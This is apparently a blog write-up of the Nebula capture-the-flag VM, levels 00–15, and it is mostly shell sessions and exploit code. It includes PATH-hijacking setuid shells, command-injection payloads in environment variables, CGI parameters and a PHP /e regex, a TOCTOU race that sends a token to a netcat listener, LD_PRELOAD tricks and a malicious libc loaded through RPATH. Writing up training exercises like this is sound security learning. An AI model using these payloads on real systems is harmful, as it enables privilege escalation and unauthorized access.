Ever since I stumbled upon exploit exercises website - I wanted to try the challenges. They have three main exploitable VMs: Nebula, Protostar and Fusion. The order represents the suggested progression path.
The welcome page reads:
exploit-exercises.com provides a variety of virtual machines, documentation and challenges that can be used to learn about a variety of computer security issues such as privilege escalation, vulnerability analysis, exploit development, debugging, reverse engineering, and general cyber security issues.
Here, I wrote down some of the findings while exploring the Nebula VM.
About
Nebula takes the participant through a variety of common (and less than common) weaknesses and vulnerabilities in Linux. It takes a look at
- SUID files
- Permissions
- Race conditions
- Shell meta-variables
- $PATH weaknesses
- Scripting language weaknesses
- Binary compilation failures
At the end of Nebula, the user will have a reasonably thorough understanding of local attacks against Linux systems, and a cursory look at some of the remote attacks that are possible.
Level00
Description:
This level requires you to find a Set User ID program that will run as the “flag00” account. You could also find this by carefully looking in top level directories in / for suspicious looking directories.
To find the files:
level00@nebula:~$ find / -user flag00 -perm -4000 -exec ls -l {} \; 2>/dev/null
-rwsr-x--- 1 flag00 level00 7358 2011-11-20 21:22 /bin/.../flag00
-rwsr-x--- 1 flag00 level00 7358 2011-11-20 21:22 /rofs/bin/.../flag00
level00@nebula:~$
Getting the flag:
level00@nebula:~$ id
uid=1001(level00) gid=1001(level00) groups=1001(level00)
level00@nebula:~$ /bin/.../flag00
Congrats, now run getflag to get your flag!
flag00@nebula:~$ getflag
You have successfully executed getflag on a target account
flag00@nebula:~$
Level01
Description:
There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
Source Code:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/usr/bin/env echo and now what?");
}
Here the code uses echo
binary to display a string. We can exploit that by modifying $PATH
environment variable and placing our own version of echo in the PATH.
We can use the provided source code to get a shell by modifying the last line to execute bash:
level01@nebula:/home/flag01$ export PATH=/tmp:$PATH
level01@nebula:/home/flag01$ cat /tmp/setuid.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/bin/bash");
}
level01@nebula:/home/flag01$ gcc /tmp/setuid.c -o /tmp/echo
level01@nebula:/home/flag01$ ./flag01
flag01@nebula:/home/flag01$ getflag
You have successfully executed getflag on a target account
flag01@nebula:/home/flag01$
Level02
Description:
There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
Source Code:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
char *buffer;
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
buffer = NULL;
asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s\")\n", buffer);
system(buffer);
}
Here, we can inject additional commands into the $USER
environment variable and terminate the buffer with #
:
level02@nebula:/home/flag02$ export USER="user && /bin/bash #"
level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo user && /bin/bash # is cool")
user
flag02@nebula:/home/flag02$ getflag
You have successfully executed getflag on a target account
flag02@nebula:/home/flag02$
Level03
Description:
Check the home directory of flag03 and take note of the files there. There is a crontab that is called every couple of minutes.
This level runs crontab every few minutes which executes anything from writable.d
folder and then clears it.
We can reuse /tmp/setuid.c
file from previous levels:
level03@nebula:/home/flag03/writable.d$ cat exploit.sh
#!/bin/bash
gcc /tmp/setuid.c -o /home/flag03/shell
chmod +s /home/flag03/shell
level03@nebula:/home/flag03/writable.d$ cd ..
level03@nebula:/home/flag03$ ./shell
flag03@nebula:/home/flag03$ getflag
You have successfully executed getflag on a target account
flag03@nebula:/home/flag03$
Level04
Description:
This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it :)
Source Code:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
int main(int argc, char **argv, char **envp)
{
char buf[1024];
int fd, rc;
if(argc == 1) {
printf("%s [file to read]\n", argv[0]);
exit(EXIT_FAILURE);
}
if(strstr(argv[1], "token") != NULL) {
printf("You may not access '%s'\n", argv[1]);
exit(EXIT_FAILURE);
}
fd = open(argv[1], O_RDONLY);
if(fd == -1) {
err(EXIT_FAILURE, "Unable to open %s", argv[1]);
}
rc = read(fd, buf, sizeof(buf));
if(rc == -1) {
err(EXIT_FAILURE, "Unable to read fd %d", fd);
}
write(1, buf, rc);
}
This code tries to read the token
file which is read/write protected. We can bypass that by creating a symlink to the token and reading that instead.
The token file contains the password for the flag04
user.
level04@nebula:/home/flag04$ ln -s /home/flag04/token /tmp/bypass
level04@nebula:/home/flag04$ ./flag04 /tmp/bypass
06508b5e-8909-4f38-b630-fdb148a848a2
level04@nebula:/home/flag04$ su flag04 -
Password:
sh-4.2$ getflag
You have successfully executed getflag on a target account
Level05
Description:
Check the flag05 home directory. You are looking for weak directory permissions
This level has world readable backup file which contains the private key for the flag05
user. We can use it to ssh in as flag05:
level05@nebula:/home/flag05$ cd .backup/
level05@nebula:/home/flag05/.backup$ ls -al
total 2
drwxr-xr-x 2 flag05 flag05 42 2011-11-20 20:13 .
drwxr-x--- 4 flag05 level05 93 2012-08-18 06:56 ..
-rw-rw-r-- 1 flag05 flag05 1826 2011-11-20 20:13 backup-19072011.tgz
level05@nebula:/home/flag05/.backup$ mkdir /tmp/backup
level05@nebula:/home/flag05/.backup$ cp backup-19072011.tgz /tmp/backup/
level05@nebula:/home/flag05/.backup$ cd /tmp/backup/
level05@nebula:/tmp/backup$ tar xvf backup-19072011.tgz
.ssh/
.ssh/id_rsa.pub
.ssh/id_rsa
.ssh/authorized_keys
level05@nebula:/tmp/backup$ cd .ssh
level05@nebula:/tmp/backup/.ssh$ ssh -i id_rsa flag05@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is ea:8d:09:1d:f1:69:e6:1e:55:c7:ec:e9:76:a1:37:f0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
flag05@nebula:~$ getflag
You have successfully executed getflag on a target account
Level06
Description:
The flag06 account credentials came from a legacy unix system.
Upon closer inspection the /etc/passwd
file has DES hash for the flag06 user:
level06@nebula:~$ cat /etc/passwd | grep flag06
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
level06@nebula:~$
The VM itself does not have john
installed, so I cracked the password in my local Kali box (the password was hello
) and used it to get the flag:
level06@nebula:~$ su flag06 -
Password:
sh-4.2$ getflag
You have successfully executed getflag on a target account
sh-4.2$
Level07
Description:
The flag07 user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server.
Source Code:
#!/usr/bin/perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub ping {
$host = $_[0];
print("<html><head><title>Ping results</title></head><body><pre>");
@output = `ping -c 3 $host 2>&1`;
foreach $line (@output) { print "$line"; }
print("</pre></body></html>");
}
# check if Host set. if not, display normal page, etc
ping(param("Host"));
The vulnerable script is served via thttpd:
flag07 1169 0.0 0.1 2588 892 ? Ss Apr29 0:01 /usr/sbin/thttpd -C /home/flag07/thttpd.conf
And it is running on port 7007.
The perl source code has a command injection vulnerability. We can inject arbitrary commands into the Host
parameter.
I have chosen to reuse the setuid shell from previous levels (/tmp/shell).
The url encoded exploit:
http://192.168.56.101:7007/index.cgi?Host=localhost|cp%20/tmp/shell%20~%20%26%26%20chmod%204755%20~/shell
Which executes:
cp /tmp/shell ~ && chmod 4755 ~/shell
After that we can grab the flag:
level07@nebula:/home/flag07$ ls -l
total 13
-rwxr-xr-x 1 root root 368 2011-11-20 21:22 index.cgi
-rwsr-xr-x 1 flag07 flag07 7322 2016-04-30 06:41 shell
-rw-r--r-- 1 root root 3719 2011-11-20 21:22 thttpd.conf
level07@nebula:/home/flag07$ ./shell
flag07@nebula:/home/flag07$ getflag
You have successfully executed getflag on a target account
flag07@nebula:/home/flag07$
Level08
Description:
World readable files strike again. Check what that user was up to, and use it to log into flag08 account.
This level has a world readable capture.pcap
file in flag08’s home folder. After SCPing it out and viewing it in wireshark,
we can extract the plaintext password:
The password seen in the screenshot is backdoor...00Rm8.ate
, hoewever, the dots here are actually 0x7F
characters (which is Backspace),
so the correct password is backd00Rmate
With this password we can get the flag:
level08@nebula:/home/flag08$ su flag08 -
Password:
sh-4.2$ getflag
You have successfully executed getflag on a target account
sh-4.2$
Level09
Description:
There’s a C setuid wrapper for some vulnerable PHP code…
Source Code:
<?php
function spam($email)
{
$email = preg_replace("/\./", " dot ", $email);
$email = preg_replace("/@/", " AT ", $email);
return $email;
}
function markup($filename, $use_me)
{
$contents = file_get_contents($filename);
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
$contents = preg_replace("/\[/", "<", $contents);
$contents = preg_replace("/\]/", ">", $contents);
return $contents;
}
$output = markup($argv[1], $argv[2]);
print $output;
?>
This code has preg_replace with /e modifier
vulnerability.
Googling for details we find a post that details the exploitation here .
The vulnerability in our case can be exploited by passing commands via second parameter (which is unused in the code itself), or, as described in the post, via first parameter’s file contents. The file contents in our case should look like this:
[email ${`shell commands`}]
The full exploit (again reusing setuid shell):
level09@nebula:/home/flag09$ cat /tmp/phpshell
[email ${`cp /tmp/shell /home/flag09/shell && chmod 4755 /home/flag09/shell`}]
level09@nebula:/home/flag09$ ./flag09 /tmp/phpshell 1
PHP Notice: Undefined variable: in /home/flag09/flag09.php(15) : regexp code on line 1
level09@nebula:/home/flag09$ ls -al
total 21
drwxr-x--- 1 flag09 level09 60 2016-05-01 01:20 .
drwxr-xr-x 1 root root 120 2012-08-27 07:18 ..
-rw-r--r-- 1 flag09 flag09 220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag09 flag09 3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag09 level09 7240 2011-11-20 21:22 flag09
-rw-r--r-- 1 root root 491 2011-11-20 21:22 flag09.php
-rw-r--r-- 1 flag09 flag09 675 2011-05-18 02:54 .profile
-rwsr-xr-x 1 flag09 level09 7322 2016-05-01 01:20 shell
level09@nebula:/home/flag09$ ./shell
flag09@nebula:/home/flag09$ getflag
You have successfully executed getflag on a target account
flag09@nebula:/home/flag09$
Level10
Description:
The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.
Source Code:
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
int main(int argc, char **argv)
{
char *file;
char *host;
if(argc < 3) {
printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
exit(1);
}
file = argv[1];
host = argv[2];
if(access(argv[1], R_OK) == 0) {
int fd;
int ffd;
int rc;
struct sockaddr_in sin;
char buffer[4096];
printf("Connecting to %s:18211 .. ", host); fflush(stdout);
fd = socket(AF_INET, SOCK_STREAM, 0);
memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(host);
sin.sin_port = htons(18211);
if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
printf("Unable to connect to host %s\n", host);
exit(EXIT_FAILURE);
}
#define HITHERE ".oO Oo.\n"
if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
printf("Unable to write banner to host %s\n", host);
exit(EXIT_FAILURE);
}
#undef HITHERE
printf("Connected!\nSending file .. "); fflush(stdout);
ffd = open(file, O_RDONLY);
if(ffd == -1) {
printf("Damn. Unable to open file\n");
exit(EXIT_FAILURE);
}
rc = read(ffd, buffer, sizeof(buffer));
if(rc == -1) {
printf("Unable to read from file: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
write(fd, buffer, rc);
printf("wrote file!\n");
} else {
printf("You don't have access to %s\n", file);
}
}
This code is vulnerable to “time of check to time of use” race condition. It has its own wiki article. The logic of the (SETUID) code here and the one in the article is basically the same - check if the current user has access to a file and if so - process the file.
To exploit this, we need to first pass in the file that we have access to (to pass the check) and later switch it out (symlink) to another file (which we WANT to access). The timing is crucial here and the race needs to be automated. I wrote the following script:
#!/bin/bash
rm -rf /tmp/access
touch /tmp/access
/home/flag10/flag10 /tmp/access 192.168.56.1 &
ln -sf /home/flag10/token /tmp/access
After a few attempts we receive the token to our netcat listener:
root@kali:~# nc -lkp 18211
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
root@kali:~#
Back inside the Nebula VM:
level10@nebula:/home/flag10$ su flag10 -
Password:
sh-4.2$ getflag
You have successfully executed getflag on a target account
sh-4.2$
Level11
Description:
The /home/flag11/flag11 binary processes standard input and executes a shell command. There are two ways of completing this level, you may wish to do both :-)
Source Code:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
/*
* Return a random, non predictable file, and return the file descriptor for it.
*/
int getrand(char **path)
{
char *tmp;
int pid;
int fd;
srandom(time(NULL));
tmp = getenv("TEMP");
pid = getpid();
asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
'A' + (random() % 26), '0' + (random() % 10),
'a' + (random() % 26), 'A' + (random() % 26),
'0' + (random() % 10), 'a' + (random() % 26));
fd = open(*path, O_CREAT|O_RDWR, 0600);
unlink(*path);
return fd;
}
void process(char *buffer, int length)
{
unsigned int key;
int i;
key = length & 0xff;
for(i = 0; i < length; i++) {
buffer[i] ^= key;
key -= buffer[i];
}
system(buffer);
}
#define CL "Content-Length: "
int main(int argc, char **argv)
{
char line[256];
char buf[1024];
char *mem;
int length;
int fd;
char *path;
if(fgets(line, sizeof(line), stdin) == NULL) {
errx(1, "reading from stdin");
}
if(strncmp(line, CL, strlen(CL)) != 0) {
errx(1, "invalid header");
}
length = atoi(line + strlen(CL));
if(length < sizeof(buf)) {
if(fread(buf, length, 1, stdin) != length) {
err(1, "fread length");
}
process(buf, length);
} else {
int blue = length;
int pink;
fd = getrand(&path);
while(blue > 0) {
printf("blue = %d, length = %d, ", blue, length);
pink = fread(buf, 1, sizeof(buf), stdin);
printf("pink = %d\n", pink);
if(pink <= 0) {
err(1, "fread fail(blue = %d, length = %d)", blue, length);
}
write(fd, buf, pink);
blue -= pink;
}
mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
if(mem == MAP_FAILED) {
err(1, "mmap");
}
process(mem, length);
}
}
The code reads data from stdin. In order to get code execution (reach the process function) we need to satisfy a few input conditions. The first line should contain a valid header, which is “Content-Length: “ followed by the length value. Then, depending on the length value, one of two execution paths are taken. If length is <1024 the first path is taken. This piece of code reads into a buffer:
if(fread(buf, length, 1, stdin) != length) {
err(1, "fread length");
}
The fread()
function will always return 1 here, because by definition it returns number of items read and not bytes read. So it looks like if we want to take the first execution path - our
workable buffer length is 1.
If we test the program with a valid header and a buffer which only contains the x
char:
level11@nebula:~$ /home/flag11/flag11
Content-Length: 1
x
sh: yP?: command not found
level11@nebula:~$
We can see that we reach the system()
call and that the x
char was decoded to y
. The additional random chars are there due to inability to properly null terminate our buffer, but
executing with the same buffer a few times we can reach a point where the second char will randomly be a null terminator.
So now we can get code execution:
level11@nebula:~$ cat y
getflag
level11@nebula:~$ export PATH=~:$PATH
level11@nebula:~$ echo -ne "Content-Length: 1\nx" | /home/flag11/flag11
sh: yp!: command not found
level11@nebula:~$ echo -ne "Content-Length: 1\nx" | /home/flag11/flag11
sh: $'y0\314': command not found
level11@nebula:~$ echo -ne "Content-Length: 1\nx" | /home/flag11/flag11
sh: $'y\260\356': command not found
level11@nebula:~$ echo -ne "Content-Length: 1\nx" | /home/flag11/flag11
getflag is executing on a non-flag account, this doesn't count
level11@nebula:~$
We manage to execute getflag
, but it complains about the user id. There are no user id manipulations in the code prior to calling system(), so I think there is a bug in this level.
Level12
Decription:
There is a backdoor process listening on port 50001.
Source Code:
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))
function hash(password)
prog = io.popen("echo "..password.." | sha1sum", "r")
data = prog:read("*all")
prog:close()
data = string.sub(data, 1, 40)
return data
end
while 1 do
local client = server:accept()
client:send("Password: ")
client:settimeout(60)
local line, err = client:receive()
if not err then
print("trying " .. line) -- log from where ;\
local h = hash(line)
if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
client:send("Better luck next time\n");
else
client:send("Congrats, your token is 413**CARRIER LOST**\n")
end
end
client:close()
end
The listener expects a password which is hashed (SHA1) and compared to a hardcoded value. The way the hash is calculated is vulnerable to command injection:
level12@nebula:/home/flag12$ nc localhost 50001
Password: test
Better luck next time
level12@nebula:/home/flag12$ nc localhost 50001
Password: test; getflag > /tmp/flag.txt; test
Better luck next time
level12@nebula:/home/flag12$ cat /tmp/flag.txt
You have successfully executed getflag on a target account
level12@nebula:/home/flag12$
Level13
Description:
There is a security check that prevents the program from continuing execution if the user invoking it does not match a specific user id.
Source Code:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>
#define FAKEUID 1000
int main(int argc, char **argv, char **envp)
{
int c;
char token[256];
if(getuid() != FAKEUID) {
printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID);
printf("The system administrators will be notified of this violation\n");
exit(EXIT_FAILURE);
}
// snip, sorry :)
printf("your token is %s\n", token);
}
For this level we can override the getuid()
function using the LD_PRELOAD
trick. The original binary is setuid - which means that it discards the LD_PRELOAD variable. So this technique does not work for privilege escalation in our case, but instead can be used to divert execution path without modifying the binary itself.
For this to work, we need to copy the executable somewhere else:
level13@nebula:~$ cat uid.c
#include <unistd.h>
uid_t getuid()
{
return 1000;
}
level13@nebula:~$ gcc -fPIC uid.c -shared -o uid.so
level13@nebula:~$ LD_PRELOAD=~/uid.so /home/flag13/flag13
Security failure detected. UID 1014 started us, we expect 1000
The system administrators will be notified of this violation
level13@nebula:~$ cp /home/flag13/flag13 /tmp/flag13
level13@nebula:~$ LD_PRELOAD=/home/level13/uid.so /tmp/flag13
your token is b705702b-76a8-42b0-8844-3adabbe5ac58
level13@nebula:~$ su flag13 -
Password:
sh-4.2$ id
uid=986(flag13) gid=986(flag13) groups=986(flag13)
sh-4.2$ getflag
You have successfully executed getflag on a target account
Level14
Description:
This program resides in /home/flag14/flag14. It encrypts input and writes it to standard output. An encrypted token file is also in that home directory, decrypt it :)
No source code was provided for this level. So here we must analyze the binary itself and deduce how it encrypts the provided input. By passing several test strings we can test how the binary works:
level14@nebula:/home/flag14$ echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | ./flag14 -e
ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefg1level14@nebula:/home/flag14$
Here we can see that each character in the string is shifted according to its possition (index). The 0th A
is shifted by 0, 1st - by 1, 2nd - by 2, and so on.
A quick python script should reverse this process and decrypt the token:
level14@nebula:/home/flag14$ cat token
857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW.
level14@nebula:/home/flag14$ cat /tmp/decrypt.py
import sys
encrypted = '857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW.'
plaintext = ''
for i in xrange(len(encrypted)):
char = chr(ord(encrypted[i]) - i)
plaintext += char
print plaintext
level14@nebula:/home/flag14$ python /tmp/decrypt.py
8457c118-887c-4e40-a5a6-33a25353165
level14@nebula:/home/flag14$ su flag14 -
Password:
sh-4.2$ getflag
You have successfully executed getflag on a target account
Level15
Description:
Strace the binary at /home/flag15/flag15 and see if you spot anything out of the ordinary. You may wish to review how to “compile a shared library in linux” and how the libraries are loaded and processed by reviewing the dlopen manpage in depth. Clean up after yourself :)
Stracing the flag15 binary shows a bunch of reads of libc.so.6
library inside various folders inside /var/tmp/flag15
:
level15@nebula:~$ strace /home/flag15/flag15
execve("/home/flag15/flag15", ["/home/flag15/flag15"], [/* 18 vars */]) = 0
brk(0) = 0x8685000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb77a7000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbf8c25d4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2", 0xbf8c25d4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/cmov", 0xbf8c25d4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686", 0xbf8c25d4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2/cmov", 0xbf8c25d4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2", 0xbf8c25d4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/cmov", 0xbf8c25d4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls", 0xbf8c25d4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbf8c25d4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2", 0xbf8c25d4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/cmov", 0xbf8c25d4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686", 0xbf8c25d4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2/cmov", 0xbf8c25d4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2", 0xbf8c25d4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/cmov", 0xbf8c25d4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15", {st_mode=S_IFDIR|0775, st_size=3, ...}) = 0
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=33815, ...}) = 0
mmap2(NULL, 33815, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb779e000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\222\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1544392, ...}) = 0
mmap2(NULL, 1554968, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x6ea000
mmap2(0x860000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x176) = 0x860000
mmap2(0x863000, 10776, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x863000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb779d000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb779d8d0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0x860000, 8192, PROT_READ) = 0
mprotect(0x8049000, 4096, PROT_READ) = 0
mprotect(0x57b000, 4096, PROT_READ) = 0
munmap(0xb779e000, 33815) = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb77a6000
write(1, "strace it!\n", 11strace it!
) = 11
exit_group(11) = ?
Some more information about the binary:
level15@nebula:~$ readelf -d /home/flag15/flag15
Dynamic section at offset 0xf20 contains 21 entries:
Tag Type Name/Value
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000f (RPATH) Library rpath: [/var/tmp/flag15]
0x0000000c (INIT) 0x80482c0
0x0000000d (FINI) 0x80484ac
0x6ffffef5 (GNU_HASH) 0x80481ac
0x00000005 (STRTAB) 0x804821c
0x00000006 (SYMTAB) 0x80481cc
0x0000000a (STRSZ) 90 (bytes)
0x0000000b (SYMENT) 16 (bytes)
0x00000015 (DEBUG) 0x0
0x00000003 (PLTGOT) 0x8049ff4
0x00000002 (PLTRELSZ) 24 (bytes)
0x00000014 (PLTREL) REL
0x00000017 (JMPREL) 0x80482a8
0x00000011 (REL) 0x80482a0
0x00000012 (RELSZ) 8 (bytes)
0x00000013 (RELENT) 8 (bytes)
0x6ffffffe (VERNEED) 0x8048280
0x6fffffff (VERNEEDNUM) 1
0x6ffffff0 (VERSYM) 0x8048276
0x00000000 (NULL) 0x0
So puting it all together - it looks like the binary is trying to load the libc.so.6 library from RPATH, which is /var/tmp/flag15. Since we can write there - we can place a malicious libc.so.6 file and wait for the binary to load it.
The flag15 binary has a few functions that we can work with:
level15@nebula:/var/tmp/flag15$ objdump -R /home/flag15/flag15
/home/flag15/flag15: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a000 R_386_JUMP_SLOT puts
0804a004 R_386_JUMP_SLOT __gmon_start__
0804a008 R_386_JUMP_SLOT __libc_start_main
The __libc_start_main
seems like the best candidate since it is executed upon loading the shared library.
A simple library code to try to execute bash:
#include <stdio.h>
int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) {
system("/bin/bash");
}
However, the library does not work:
level15@nebula:/var/tmp/flag15$ gcc -shared -fPIC -o libc.so.6 lib.c
level15@nebula:/var/tmp/flag15$ /home/flag15/flag15
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol __cxa_finalize, version GLIBC_2.1.3 not defined in file libc.so.6 with link time reference
level15@nebula:/var/tmp/flag15$
Some Googling shows that the “version” error can be solved by linking with a version-script
(older glibc):
level15@nebula:/var/tmp/flag15$ cat version.txt
GLIBC_2.0 {
};
level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -Wl,--version-script=version.txt -o libc.so.6 lib.c
level15@nebula:/var/tmp/flag15$ /home/flag15/flag15
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: version `GLIBC_2.1.3' not found (required by /var/tmp/flag15/libc.so.6)
level15@nebula:/var/tmp/flag15$
Now another error, which can be solved by static linking options -Bstatic
and -static-libgcc
.
After adding those - the exploit works, but it seems that our user id is wrong:
level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version.txt,-Bstatic -o libc.so.6 lib.c
level15@nebula:/var/tmp/flag15$ /home/flag15/flag15
bash-4.2$ getflag
getflag is executing on a non-flag account, this doesn't count
bash-4.2$ id
uid=1016(level15) gid=1016(level15) groups=1016(level15)
bash-4.2$
We need to reset the efective user id to the real one with setresuid()
and capture the flag:
level15@nebula:/var/tmp/flag15$ cat lib.c
#include <stdio.h>
int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) {
setresuid(geteuid(),geteuid(),geteuid());
system("/bin/bash");
}
level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version.txt,-Bstatic -o libc.so.6 lib.c
